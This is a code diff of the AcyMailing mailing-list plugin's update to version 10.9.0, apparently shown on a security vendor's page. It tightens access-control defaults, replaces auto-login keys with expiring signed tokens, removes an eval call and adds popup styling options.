+++ b/acymailing/back/Controllers/DynamicsController.php
@@ -77,7 +77,7 @@
             $rawDefaultValues = $this->config->get('dcontent_default_'.$plugin);

             if (!empty($rawDefaultValues)) {
-                $defaultValues = json_decode($rawDefaultValues, true);
+                $defaultValues = is_string($rawDefaultValues) ? json_decode($rawDefaultValues, true) : $rawDefaultValues;
                 unset($defaultValues['id']);
                 unset($defaultValues['from']);
                 unset($defaultValues['to']);
--- a/acymailing/back/Controllers/ToggleController.php
+++ b/acymailing/back/Controllers/ToggleController.php
@@ -145,6 +145,16 @@
         acym_sendAjaxResponse('', $data);
     }

+    protected function userActive(int $id, string $table, string $field, int $newValue): void
+    {
+        $userClass = new UserClass();
+        if ($newValue === 0) {
+            $userClass->deactivate([$id]);
+        } else {
+            $userClass->reactivate([$id]);
+        }
+    }
+
     protected function doToggle(int $id, string $table, string $field, int $newValue): void
     {
         $updateQuery = 'UPDATE '.acym_secureDBColumn(ACYM_DBPREFIX.$table);
--- a/acymailing/back/Controllers/Users/Export.php
+++ b/acymailing/back/Controllers/Users/Export.php
@@ -47,6 +47,8 @@

         $fields = acym_getColumns('user');

+        $fields = array_diff($fields, ['key', 'id']);
+
         $fieldClass = new FieldClass();
         $customFields = $fieldClass->getAll();

@@ -116,6 +118,10 @@
         $fieldClass = new FieldClass();
         $customFields = $fieldClass->getAll();

+        $forbiddenFields = ['key', 'id'];
+        $fieldsToExport = array_diff($fieldsToExport, $forbiddenFields);
+        $tableFields = array_diff($tableFields, $forbiddenFields);
+
         $customFieldsToExport = [];
         $specialFieldsToExport = [];
         foreach ($fieldsToExport as $i => $oneField) {
@@ -129,9 +135,6 @@
         }

         $notAllowedFields = array_diff($fieldsToExport, $tableFields);
-        if (in_array('id', $fieldsToExport)) {
-            $notAllowedFields[] = 'id';
-        }
         if (!empty($notAllowedFields)) {
             $this->exportError(acym_translationSprintf('ACYM_NOT_ALLOWED_FIELDS', implode(', ', $notAllowedFields), implode(', ', $tableFields)));
         }
--- a/acymailing/back/Core/AcymController.php
+++ b/acymailing/back/Core/AcymController.php
@@ -96,7 +96,7 @@

     public function call(string $task): void
     {
-        if (!acym_isAllowed($this->name)) {
+        if (!acym_isAllowed($this->name, $task)) {
             acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'warning');
             acym_redirect(acym_completeLink('dashboard'));

--- a/acymailing/back/Core/AcymPlugin.php
+++ b/acymailing/back/Core/AcymPlugin.php
@@ -54,8 +54,8 @@
     public string $logFilename = '';
     protected int $responseCode;

-    private $active;
-    public $settings;
+    private bool $active;
+    public array $settings = [];
     private array $savedSettings = [];

     public function __construct()
@@ -859,7 +859,7 @@

             case 'repeatable':
                 if (!empty($field->value)) {
-                    $values = json_decode($field->value);
+                    $values = is_string($field->value) ? json_decode($field->value) : $field->value;
                     $formattedValues = [];
                     foreach ($values as $oneSetOfValues) {
                         $formattedSet = [];
@@ -915,7 +915,7 @@
                 break;
             case 'subform':
                 if (!empty($field->value)) {
-                    $rows = json_decode($field->value, true);
+                    $rows = is_string($field->value) ? json_decode($field->value, true) : $field->value;

                     $formattedValues = [];
                     foreach ($rows as $values) {
@@ -1004,7 +1004,7 @@
         }

         if (!empty($tag->autologin)) {
-            $link .= (strpos($link, '?') ? '&' : '?').'autoSubId={subscriber:id}&subKey={subscriber:key|urlencode}';
+            $link .= (strpos($link, '?') ? '&' : '?').'autoSubId={subscriber:id}&subKey={subscriber:autologin_token|urlencode}';
         }

         if (is_bool($tag)) {
@@ -1311,6 +1311,10 @@

     public function onAcymAddSettings(array &$plugins): void
     {
+        if (method_exists($this, 'initSettings')) {
+            $this->initSettings();
+        }
+
         foreach ($plugins as $key => $plugin) {
             if ($plugin->folder_name === $this->name) {
                 if (!empty($plugin->settings)) {
--- a/acymailing/back/Core/wordpress/extension.php
+++ b/acymailing/back/Core/wordpress/extension.php
@@ -30,37 +30,37 @@
         (object)[
             'title' => acym_translation('ACYM_ARTICLE'),
             'folder_name' => 'post',
-            'version' => '10.8.2',
+            'version' => '10.9.0',
             'active' => '1',
             'category' => 'Content management',
             'level' => 'starter',
             'uptodate' => '1',
             'description' => '- Insert WordPress posts in your emails<br/>- Insert the latest posts of a category in an automatic email',
-            'latest_version' => '10.8.2',
+            'latest_version' => '10.9.0',
             'type' => 'CORE',
         ],
         (object)[
             'title' => acym_translation('ACYM_PAGE'),
             'folder_name' => 'page',
-            'version' => '10.8.2',
+            'version' => '10.9.0',
             'active' => '1',
             'category' => 'Content management',
             'level' => 'starter',
             'uptodate' => '1',
             'description' => '- Insert pages in your emails',
-            'latest_version' => '10.8.2',
+            'latest_version' => '10.9.0',
             'type' => 'CORE',
         ],
         (object)[
             'title' => acym_translation('ACYM_CREATE_USER'),
             'folder_name' => 'createuser',
-            'version' => '10.8.2',
+            'version' => '10.9.0',
             'active' => '1',
             'category' => 'User management',
             'level' => 'starter',
             'uptodate' => '1',
             'description' => '- Automatically creates a site user when an AcyMailing subscriber is created',
-            'latest_version' => '10.8.2',
+            'latest_version' => '10.9.0',
             'type' => 'CORE',
         ],
     ];
--- a/acymailing/back/Core/wordpress/miscellaneous.php
+++ b/acymailing/back/Core/wordpress/miscellaneous.php
@@ -42,3 +42,22 @@

     return ElementorPlugin::$instance->db->is_built_with_elementor($post->ID);
 }
+
+function acym_scheduleTask(array $options, int $taskId = 0): ?int
+{
+    if (wp_next_scheduled($options['name'])) {
+        return 1;
+    }
+
+    return true === wp_schedule_event(time(), $options['taskFrequency'], $options['name']) ? 1 : 0;
+}
+
+function acym_deleteScheduledTask(array $options): bool
+{
+    $timestamp = wp_next_scheduled($options['name']);
+    if ($timestamp) {
+        return true === wp_unschedule_event($timestamp, $options['name']);
+    }
+
+    return true;
+}
--- a/acymailing/back/Core/wordpress/security.php
+++ b/acymailing/back/Core/wordpress/security.php
@@ -256,3 +256,8 @@
 {
     return true;
 }
+
+function acym_getSiteSalt(): string
+{
+    return wp_salt('auth');
+}
--- a/acymailing/back/Core/wplangindexer.php
+++ b/acymailing/back/Core/wplangindexer.php
@@ -1,5 +1,26 @@
 <?php

+__('Auto-login token validity (hours)', 'acymailing');
+__('How long an auto-login link remains valid after being generated. Default is 48 hours.', 'acymailing');
+__('Next generation date', 'acymailing');
+__('Filter by', 'acymailing');
+__('Speakers', 'acymailing');
+__('Sponsors', 'acymailing');
+__('Any list', 'acymailing');
+__('Is not currently subscribed', 'acymailing');
+__('Not currently subscribed', 'acymailing');
+__('Manual trigger is not available for this type of automation', 'acymailing');
+__('%s automation(s) triggered successfully', 'acymailing');
+__('%s user-based automation(s) skipped (only time-based automations can be triggered manually)', 'acymailing');
+__('Fields width', 'acymailing');
+__('The default width (65%) is based to scale on the email field size. Even if it doesn't look right in the preview, the field will be the correct size in the final rendering on your website page.', 'acymailing');
+__('Shadow color', 'acymailing');
+__('Shadow blur', 'acymailing');
+__('Shadow horizontal offset', 'acymailing');
+__('Shadow vertical offset', 'acymailing');
+__('Popup position', 'acymailing');
+__('Top-center', 'acymailing');
+__('Bottom-center', 'acymailing');
 __('This domain is currently under review. You will be able to send your emails as soon as it gets manually approved, which is done on weekdays and can take up to 1 day.', 'acymailing');
 __('Automatic campaign [%s] failed generating a new campaign because an error occurred.', 'acymailing');
 __('Next execution date', 'acymailing');
@@ -621,8 +642,10 @@
 __('Top', 'acymailing');
 __('Bottom', 'acymailing');
 __('Top-right', 'acymailing');
+__('Middle-right', 'acymailing');
 __('Bottom-right', 'acymailing');
 __('Top-left', 'acymailing');
+__('Middle-left', 'acymailing');
 __('Bottom-left', 'acymailing');
 __('Fourth', 'acymailing');
 __('Replace shortcodes', 'acymailing');
--- a/acymailing/back/Helpers/BounceHelper.php
+++ b/acymailing/back/Helpers/BounceHelper.php
@@ -804,8 +804,8 @@

         if (!empty($this->blockedUsers)) {
             acym_arrayToInteger($this->blockedUsers);
+            $this->userClass->deactivate($this->blockedUsers);
             $allUsersId = implode(',', $this->blockedUsers);
-            acym_query('UPDATE `#__acym_user` SET `active` = 0 WHERE `id` IN ('.$allUsersId.')');
             acym_query('DELETE FROM `#__acym_queue` WHERE `user_id` IN ('.$allUsersId.')');
             $this->blockedUsers = [];
         }
--- a/acymailing/back/Helpers/MailerHelper.php
+++ b/acymailing/back/Helpers/MailerHelper.php
@@ -816,7 +816,7 @@

             if (strpos($trackingSystem, 'acymailing') !== false) {
                 $isAutologin = false;
-                $autologinParams = 'autoSubId=%7Bsubscriber:id%7D&subKey=%7Bsubscriber:key%7Curlencode%7D';
+                $autologinParams = 'autoSubId=%7Bsubscriber:id%7D&subKey=%7Bsubscriber:autologin_token%7Curlencode%7D';
                 if (strpos($url, $autologinParams) !== false) {
                     $isAutologin = true;
                     $url = str_replace(
--- a/acymailing/back/Helpers/PaginationHelper.php
+++ b/acymailing/back/Helpers/PaginationHelper.php
@@ -130,7 +130,7 @@
             $currentConfig = $listLimitSelect;
         }

-        return $currentConfig;
+        return $currentConfig ?: $default;
     }

     private function getClosest(int $search, array $arr): string
--- a/acymailing/back/Helpers/PluginHelper.php
+++ b/acymailing/back/Helpers/PluginHelper.php
@@ -547,7 +547,7 @@

         $dom = new DOMDocument('1.0', 'UTF-8');
         $dom->loadHTML(
-            '<?xml encoding="UTF-8">' . $newText,
+            '<?xml encoding="UTF-8">'.$newText,
             LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD
         );

@@ -1134,6 +1134,12 @@
         }

         if (!empty($outputStructure['options'])) {
+            if (isset($outputStructure['options']['ACYM_OTHER_OPTIONS'])) {
+                $otherOptions = $outputStructure['options']['ACYM_OTHER_OPTIONS'];
+                unset($outputStructure['options']['ACYM_OTHER_OPTIONS']);
+                $outputStructure['options']['ACYM_OTHER_OPTIONS'] = $otherOptions;
+            }
+
             foreach ($outputStructure['options'] as $section => $options) {
                 $formattedOptions = '';
                 foreach ($options as $label => $option) {
--- a/acymailing/back/Helpers/QueueHelper.php
+++ b/acymailing/back/Helpers/QueueHelper.php
@@ -566,7 +566,7 @@
                 break;
             case 'block':
                 $message .= ' user '.$userId.' blocked';
-                $this->userClass->deactivate($userId);
+                $this->userClass->deactivate([$userId]);
                 $this->queueClass->deleteQueuedByUserIds([$userId]);
                 break;
         }
--- a/acymailing/back/Helpers/Update/Configuration.php
+++ b/acymailing/back/Helpers/Update/Configuration.php
@@ -122,7 +122,7 @@
         $allPref['Starter'] = ACYM_STARTER;
         $allPref['Essential'] = ACYM_ESSENTIAL;
         $allPref['Enterprise'] = ACYM_ENTERPRISE;
-        $allPref['previous_version'] = '10.8.2';
+        $allPref['previous_version'] = '10.9.0';

         $allPref['display_built_by'] = acym_level(ACYM_ESSENTIAL) ? 0 : 1;
         $allPref['php_overrides'] = 0;
--- a/acymailing/back/Helpers/Update/DefaultData.php
+++ b/acymailing/back/Helpers/Update/DefaultData.php
@@ -45,7 +45,7 @@
         $query .= "(9, 'ACYM_REJECTED', 'ACYM_REJECTED_DESC', 9, 'rejected *your *message|email *provider *rejected *it', '["body"]', '["delete_message"]', '[]', 1, 1, 0),";
         $query .= "(10, 'ACYM_MAILBOX_DOESNT_EXIST_1', 'ACYM_MAILBOX_DOESNT_EXIST_1_DESC', 10, '(Invalid|no such|unknown|bad|des?activated|inactive|unrouteable) *(mail|destination|recipient|user|address|person)|bad-mailbox|inactive-mailbox|not listed in.{1,20}directory|RecipNotFound|(user|mailbox|address|recipients?|host|account|domain) *(is|has been)? *(error|disabled|failed|unknown|unavailable|not *(found|available)|.{1,30}inactiv)|no *mailbox *here|user does.?n.t have.{0,30}account|no *longer *(active|working|in *use)|mail( *foi)? *desativado|recipient '[^']+' not known', '["subject","body"]', '["save_message","delete_message"]', '["block_user"]', 1, 1, 0),";
         $query .= "(11, 'ACYM_MESSAGE_BLOCKED_RECIPIENTS', 'ACYM_MESSAGE_BLOCKED_RECIPIENTS_DESC', 11, 'blocked *by|block *list|look(ed)? *like *spam|spam-related|spam *detected| CXBL | CDRBL | IPBL | URLBL |(unacceptable|banned|offensive|filtered|blocked|unsolicited) *(content|message|e?-?mail)|service refused|(status(-code)?|554) *(:|=)? *5.7.1|administratively *denied|blacklisted *IP|policy *reasons|rejected.{1,10}spam|junkmail *rejected|throttling *constraints|exceeded.{1,10}max.{1,40}hour|comply with required standards|421 RP-00|550 SC-00|550 DY-00|550 OU-00|client *[0-9.]* *blocked *using', '["body"]', '{"0":"delete_message","1":"forward_message","forward_to":"".$forwardEmail.""}', '[]', 1, 1, 0),";
-        $query .= "(12, 'ACYM_MAILBOX_DOESNT_EXIST_2', 'ACYM_MAILBOX_DOESNT_EXIST_2_DESC', 12, 'status(-? ?code)? *(:|=)? *(550)? *5.(1.[1-6]|0.0|4.[0123467])|recipient *address *rejected|does *not *like *recipient|recipient *unknown *to *address|email *account *that *you *tried *to *reach *is *disabled|no *mail-enabled *subscriptions', '["subject","body"]', '["save_message","delete_message"]', '["block_user"]', 1, 1, 0),";
+        $query .= "(12, 'ACYM_MAILBOX_DOESNT_EXIST_2', 'ACYM_MAILBOX_DOESNT_EXIST_2_DESC', 12, 'status(-? ?code)? *(:|=)? *(550)? *5.(1.[1-6]|0.0|4.[0123467])|recipient *(address *)?rejected|does *not *like *recipient|recipient *unknown *to *address|email *account *that *you *tried *to *reach *is *disabled|no *mail-enabled *subscriptions', '["subject","body"]', '["save_message","delete_message"]', '["block_user"]', 1, 1, 0),";
         $query .= "(13, 'ACYM_DOMAIN_NOT_EXIST', 'ACYM_DOMAIN_NOT_EXIST_DESC', 13, 'No.{1,10}MX *(record|host)|host *does *not *receive *any *mail|bad-domain|connection.{1,10}mail.{1,20}fail|domain.{1,10}not *exist|fail.{1,10}establish *connection|Unable *to *lookup *DNS *for|Unable *to *connect *to *remote *host', '["subject","body"]', '["save_message","delete_message"]', '["block_user"]', 1, 1, 0),";
         $query .= "(14, 'ACYM_TEMPORARY_FAILURES', 'ACYM_TEMPORARY_FAILURES_DESC', 14, 'has.*been.*delayed|delayed *mail|message *delayed|message-expired|temporar(il)?y *(failure|unavailable|disable|offline|unable)|deferred|delayed *([0-9]*) *(hour|minut)|possible *mail *loop|too *many *hops|delivery *time *expired|Action.php: *delayed|status(-code)? *(:|=)? *4.4.6|will continue to be attempted|unable to deliver in.*Status: 4.4.7|Connection *closed *unexpectedly', '["subject","body"]', '["save_message","delete_message"]', '["block_user"]', 1, 1, 3),";
         $query .= "(15, 'ACYM_FAILED_PERM', 'ACYM_FAILED_PERM_DESC', 15, 'failed *permanently|permanent.{1,20}(failure|error)|not *accepting *(any)? *mail|does *not *exist|no *valid *route|delivery *failure', '["subject","body"]', '["save_message","delete_message"]', '["block_user"]', 1, 1, 0),";
--- a/acymailing/back/Helpers/Update/Patchv10.php
+++ b/acymailing/back/Helpers/Update/Patchv10.php
@@ -4,6 +4,7 @@

 use AcyMailingClassesCampaignClass;
 use AcyMailingClassesConfigurationClass;
+use AcyMailingControllersConfigurationController;
 use AcyMailingHelpersBounceHelper;

 trait Patchv10
@@ -268,4 +269,54 @@
                 AND `user`.'.$acymCmsUserVars->id.' IS NULL'
         );
     }
+
+    private function updateFor1090(ConfigurationClass $config): void
+    {
+        if ($this->isPreviousVersionAtLeast('10.9.0')) {
+            return;
+        }
+
+        $frequency = (int)$config->get('cron_frequency');
+
+        if (
+            acym_level(ACYM_ESSENTIAL)
+            && $config->get('queue_type') !== 'manual'
+            && !empty($frequency)
+            && $frequency < 900
+            && acym_isLicenseValidWeekly()
+        ) {
+            $taskId = acym_scheduleTask(
+                [
+                    'title' => 'AcyMailing – Automated tasks',
+                    'type' => 'plg_task_requests_task_get',
+                    'frequencyInMinutes' => $frequency / 60,
+                    'name' => ConfigurationController::CRON_TASK_NAME,
+                    'taskFrequency' => 'every_minute',
+                    'config' => [
+                        'cron_security' => $config->get('cron_security'),
+                        'cron_key' => $config->get('cron_key'),
+                    ],
+                ]
+            );
+
+            if (!empty($taskId) && ACYM_CMS === 'joomla') {
+                $config->saveConfig(['scheduled_task_id' => $taskId]);
+            }
+        }
+
+        $this->updateQuery('ALTER TABLE `#__acym_user` ADD COLUMN `deactivation_date` DATETIME DEFAULT NULL');
+
+        $aclPages = acym_getPagesForAcl();
+
+        $configToSave = [];
+        foreach ($aclPages as $page => $title) {
+            if ($config->get('acl_'.$page) === 'all') {
+                $configToSave['acl_'.$page] = ACYM_ADMIN_GROUP;
+            }
+        }
+
+        if (!empty($configToSave)) {
+            $config->saveConfig($configToSave);
+        }
+    }
 }
--- a/acymailing/back/Helpers/Update/SQLPatch.php
+++ b/acymailing/back/Helpers/Update/SQLPatch.php
@@ -93,6 +93,7 @@
         $this->updateFor1065();
         $this->updateFor1070();
         $this->updateFor1082();
+        $this->updateFor1090($config);
     }

     public function checkDB(): void
--- a/acymailing/back/Helpers/UpdateHelper.php
+++ b/acymailing/back/Helpers/UpdateHelper.php
@@ -18,10 +18,10 @@
     use UpdatePatchv10;

     const FIRST_EMAIL_NAME_KEY = 'ACYM_FIRST_EMAIL_NAME';
-    const BOUNCE_VERSION = 7;
+    const BOUNCE_VERSION = 8;

     private string $level = 'starter';
-    private string $version = '10.8.2';
+    private string $version = '10.9.0';
     private string $previousVersion;
     private bool $isUpdating = false;

--- a/acymailing/back/Helpers/global/addon.php
+++ b/acymailing/back/Helpers/global/addon.php
@@ -42,7 +42,7 @@
             if (!empty($onePlugin->errors)) {
                 $onePlugin->errorCallback();
             }
-        } catch (Exception $e) {
+        } catch (Throwable $e) {
             acym_logError('An error occurred when triggering the method '.$method.': '.$e->getMessage());
         }
     }
--- a/acymailing/back/Helpers/global/security.php
+++ b/acymailing/back/Helpers/global/security.php
@@ -190,10 +190,10 @@
     acym_header('Expires: Wed, 17 Sep 1975 21:32:10 GMT');
 }

-function acym_isAllowed(string $controller): bool
+function acym_isAllowed(string $controller, string $task = ''): bool
 {
     $config = acym_config();
-    $globalAccess = $config->get('acl_'.$controller, 'all');
+    $globalAccess = $config->get('acl_'.$controller, ACYM_ADMIN_GROUP);
     if ($globalAccess === 'all') {
         return true;
     }
@@ -217,6 +217,21 @@
         }
     }

+    if (in_array($task, ['countResultsTotal', 'countGlobalBySegmentId', 'countResults']) && acym_isAllowed('campaigns')) {
+        return true;
+    }
+
+    if (
+        $task === 'getOption'
+        && (
+            acym_isAllowed('campaigns')
+            || acym_isAllowed('mails')
+            || acym_isAllowed('plugins')
+        )
+    ) {
+        return true;
+    }
+
     return false;
 }

@@ -242,3 +257,42 @@

     return $expirationDate >= time();
 }
+
+function acym_generateAutologinToken(int $subId, string $subKey): string
+{
+    $timestamp = time();
+    $payload = $subId . '|' . $timestamp;
+    $secret = $subKey . acym_getSiteSalt();
+    $signature = hash_hmac('sha256', $payload, $secret);
+
+    return dechex($timestamp) . '.' . $signature;
+}
+
+function acym_verifyAutologinToken(int $subId, string $token, string $storedKey): bool
+{
+    $parts = explode('.', $token, 2);
+    if (count($parts) !== 2) {
+        return false;
+    }
+
+    $timestamp = @hexdec($parts[0]);
+    $signature = $parts[1];
+
+    if (empty($timestamp) || $timestamp <= 0) {
+        return false;
+    }
+
+    $config = acym_config();
+    $maxAgeHours = intval($config->get('autologin_token_duration', 48));
+    $maxAge = $maxAgeHours * 3600;
+
+    if ((time() - $timestamp) > $maxAge) {
+        return false;
+    }
+
+    $payload = $subId . '|' . $timestamp;
+    $secret = $storedKey . acym_getSiteSalt();
+    $expectedSignature = hash_hmac('sha256', $payload, $secret);
+
+    return hash_equals($expectedSignature, $signature);
+}
--- a/acymailing/back/Helpers/global/view.php
+++ b/acymailing/back/Helpers/global/view.php
@@ -420,6 +420,7 @@
         'ACYM_SELECT_A_PAGE',
         'ACYM_DEDICATED_SENDING_PROCESS_WARNING',
         'ACYM_GET_MY_API_KEY',
+        'ACYM_DOMAIN_UNDER_REVIEW',
     ];

     foreach ($keysToLoad as $oneKey) {
--- a/acymailing/back/Libraries/Pear/Error.php
+++ b/acymailing/back/Libraries/Pear/Error.php
@@ -120,7 +120,7 @@

         if ($this->mode & PEAR_ERROR_EXCEPTION) {
             trigger_error("PEAR_ERROR_EXCEPTION is obsolete, use class PEAR_Exception for exceptions", E_USER_WARNING);
-            eval('$e = new Exception($this->message, $this->code);throw($e);');
+            throw new Exception($this->message, $this->code);
         }
     }

--- a/acymailing/back/Partial/forms/fields.php
+++ b/acymailing/back/Partial/forms/fields.php
@@ -38,5 +38,29 @@
 		<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields > *{
 			margin: <?php echo in_array($form->type, [$form->formClass::SUB_FORM_TYPE_FOOTER, $form->formClass::SUB_FORM_TYPE_HEADER]) ? 'auto 10px' : '10px auto'; ?> !important;
 		}
+
+		<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield{
+			width: 100%;
+			box-sizing: border-box
+		}
+
+		<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield input:not([type="radio"]):not([type="checkbox"]):not([type="hidden"]),
+		<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield select,
+		<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield textarea{
+			display: block;
+			width: <?php echo intval($form->settings['fields']['fields_width']) ?? 100; ?>%;
+			margin-left: auto;
+			margin-right: auto;
+			margin-bottom: 1rem;
+			box-sizing: border-box
+		}
+
+		@media screen and (max-width: 768px){
+			<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield input:not([type="radio"]):not([type="checkbox"]):not([type="hidden"]),
+			<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield select,
+			<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield textarea{
+				width: 100%
+			}
+		}
 	</style>
 </div>
--- a/acymailing/back/Partial/forms/popup.php
+++ b/acymailing/back/Partial/forms/popup.php
@@ -46,16 +46,33 @@
 		</form>
 	</div>
 </div>
+<?php
+$popupPosition = $form->settings['display']['popup_position'] ?? 'center';
+$positionMap = [
+    'top_left' => 'top: 20px; left: 20px;',
+    'top_center' => 'top: 20px; left: 50%; transform: translateX(-50%);',
+    'top_right' => 'top: 20px; right: 20px;',
+    'middle_left' => 'top: 50%; left: 20px; transform: translateY(-50%);',
+    'middle_right' => 'top: 50%; right: 20px; transform: translateY(-50%);',
+    'bottom_left' => 'bottom: 20px; left: 20px;',
+    'bottom_center' => 'bottom: 20px; left: 50%; transform: translateX(-50%);',
+    'bottom_right' => 'bottom: 20px; right: 20px;',
+];
+$positionCss = $positionMap[$popupPosition] ?? 'top: 50%; left: 50%; transform: translate(-50%, -50%);';
+?>
 <style>
 	<?php echo '#acym_fulldiv_'.$form->form_tag_name; ?>.acym__subscription__form__popup__overlay{
 		display: <?php echo $edition ? 'inline' : 'none'; ?>;
+	<?php if ($popupPosition === 'center') { ?>
 		position: fixed;
 		top: 0;
 		bottom: 0;
 		right: 0;
 		left: 0;
 		background-color: rgba(200, 200, 200, .5);
-		z-index: 999999;
+	<?php } else { ?>
+		position: static;
+	<?php } ?> z-index: 999999;
 	}

 	<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__popup__close{
@@ -69,16 +86,15 @@

 	<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__popup{
 		position: fixed;
-		left: 50%;
-		transform: translate(-50%, -50%);
-		top: 50%;
-		padding: <?php echo $form->settings['style']['padding']['height']; ?>px <?php echo $form->settings['style']['padding']['width']; ?>px;
+	<?php echo $positionCss; ?> padding: <?php echo $form->settings['style']['padding']['height']; ?>px <?php echo $form->settings['style']['padding']['width']; ?>px;
 		background-color: <?php echo $form->settings['style']['background_color']; ?>;
 		color: <?php echo $form->settings['style']['text_color']; ?> !important;
 		background-image: url("<?php echo $form->settings['style']['background_image']; ?>");
 		background-size: <?php echo $form->settings['style']['background_size']; ?>;
 		background-position: <?php echo str_replace('_', ' ', $form->settings['style']['background_position']); ?>;
 		background-repeat: <?php echo $form->settings['style']['background_repeat']; ?>;
+		border-radius: <?php echo intval($form->settings['style']['border_radius'] ?? 0); ?>px;
+		box-shadow: <?php echo intval($form->settings['style']['shadow_x'] ?? 0); ?>px <?php echo intval($form->settings['style']['shadow_y'] ?? 0); ?>px <?php echo intval($form->settings['style']['shadow_blur'] ?? 0); ?>px<?php echo $form->settings['style']['shadow_color'] ?? 'rgba(0,0,0,0.2)'; ?>;
 		z-index: 999999;
 		text-align: center;
 		display: flex;
@@ -173,11 +189,13 @@
                 document.cookie = 'acym_form_<?php echo $form->id; ?>=' + Date.now() + ';expires=' + expirationDate.toUTCString() + ';path=/';
             }

+            <?php if ($popupPosition === 'center') { ?>
             acym_popupForm.addEventListener('click', function (event) {
                 if (event.target.closest('.acym__subscription__form__popup') === null) {
                     acym_closePopupform<?php echo $form->form_tag_name; ?>(this);
                 }
             });
+            <?php } ?>
             document.querySelector('#acym_fulldiv_<?php echo $form->form_tag_name; ?> .acym__subscription__form__popup__close').addEventListener('click', function (event) {
                 acym_closePopupform<?php echo $form->form_tag_name; ?>(event.target.closest('.acym__subscription__form__popup__overlay'));
             });
--- a/acymailing/back/Partial/joomla/media_modal.php
+++ b/acymailing/back/Partial/joomla/media_modal.php
@@ -15,7 +15,7 @@
 				data-acym-src="<?php echo $mediaUrl; ?>"
 				data-acym-src-image="<?php echo $mediaUrlImage; ?>"
 				data-acym-is-j4="<?php echo ACYM_J40 ? '1' : '0'; ?>"
-				src="<?php echo $mediaUrl; ?>"
+				src="about:blank"
 				frameborder="0">
 		</iframe>
 		<div id="acym__upload__modal__joomla-image__ui__actions" class="cell grid-x grid-margin-x align-right" style="display: none">
--- a/acymailing/back/Types/AclType.php
+++ b/acymailing/back/Types/AclType.php
@@ -30,7 +30,7 @@
     {
         $name = 'acl_'.$page;

-        $selected = explode(',', $this->config->get($name, 'all'));
+        $selected = explode(',', $this->config->get($name, ACYM_ADMIN_GROUP));

         return acym_selectMultiple($this->groups, 'config['.$name.']', $selected, ['class' => 'acym__select']);
     }
--- a/acymailing/back/Views/Automation/tmpl/listing.php
+++ b/acymailing/back/Views/Automation/tmpl/listing.php
@@ -34,6 +34,7 @@
                         $actions = [
                             'setActive' => acym_translation('ACYM_ENABLE'),
                             'setInactive' => acym_translation('ACYM_DISABLE'),
+                            'triggerAutomation' => acym_translation('ACYM_TRIGGER'),
                             'duplicate' => acym_translation('ACYM_DUPLICATE'),
                             'delete' => acym_translation('ACYM_DELETE'),
                         ];
@@ -79,15 +80,20 @@
 							<input id="checkbox_all" type="checkbox" name="checkbox_all">
 						</div>
 						<div class="grid-x medium-auto small-11 cell acym__listing__header__title__container">
+							<div class="medium-1 small-1 hide-for-small-only cell acym__listing__header__title">
+							</div>
 							<div class="medium-5 small-9 cell acym__listing__header__title">
                                 <?php echo acym_translation('ACYM_AUTOMATION'); ?>
 							</div>
 							<div class="medium-auto hide-for-small-only cell acym__listing__header__title">
                                 <?php echo acym_translation('ACYM_DESCRIPTION'); ?>
 							</div>
-							<div class="xxlarge-2 medium-3 text-center hide-for-small-only cell acym__listing__header__title">
+							<div class="medium-2 text-center hide-for-small-only cell acym__listing__header__title">
                                 <?php echo acym_translation('ACYM_ACTIVE'); ?>
 							</div>
+							<div class="medium-2 text-center hide-for-small-only cell acym__listing__header__title">
+                                <?php echo acym_translation('ACYM_ACTION'); ?>
+							</div>
 							<div class="medium-1 text-center hide-for-small-only cell acym__listing__header__title">
                                 <?php echo acym_translation('ACYM_ID'); ?>
 							</div>
@@ -102,13 +108,13 @@
 									   name="elements_checked[]"
 									   value="<?php echo acym_escape($automation->id); ?>">
 							</div>
-							<div class="cell small-1 acym_vcenter align-center acym__automation__listing__handle acym__listing__handle">
-								<div class="grabbable acym__sortable__listing__handle grid-x">
-									<i class="acymicon-ellipsis-h cell acym__color__dark-gray"></i>
-									<i class="acymicon-ellipsis-h cell

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School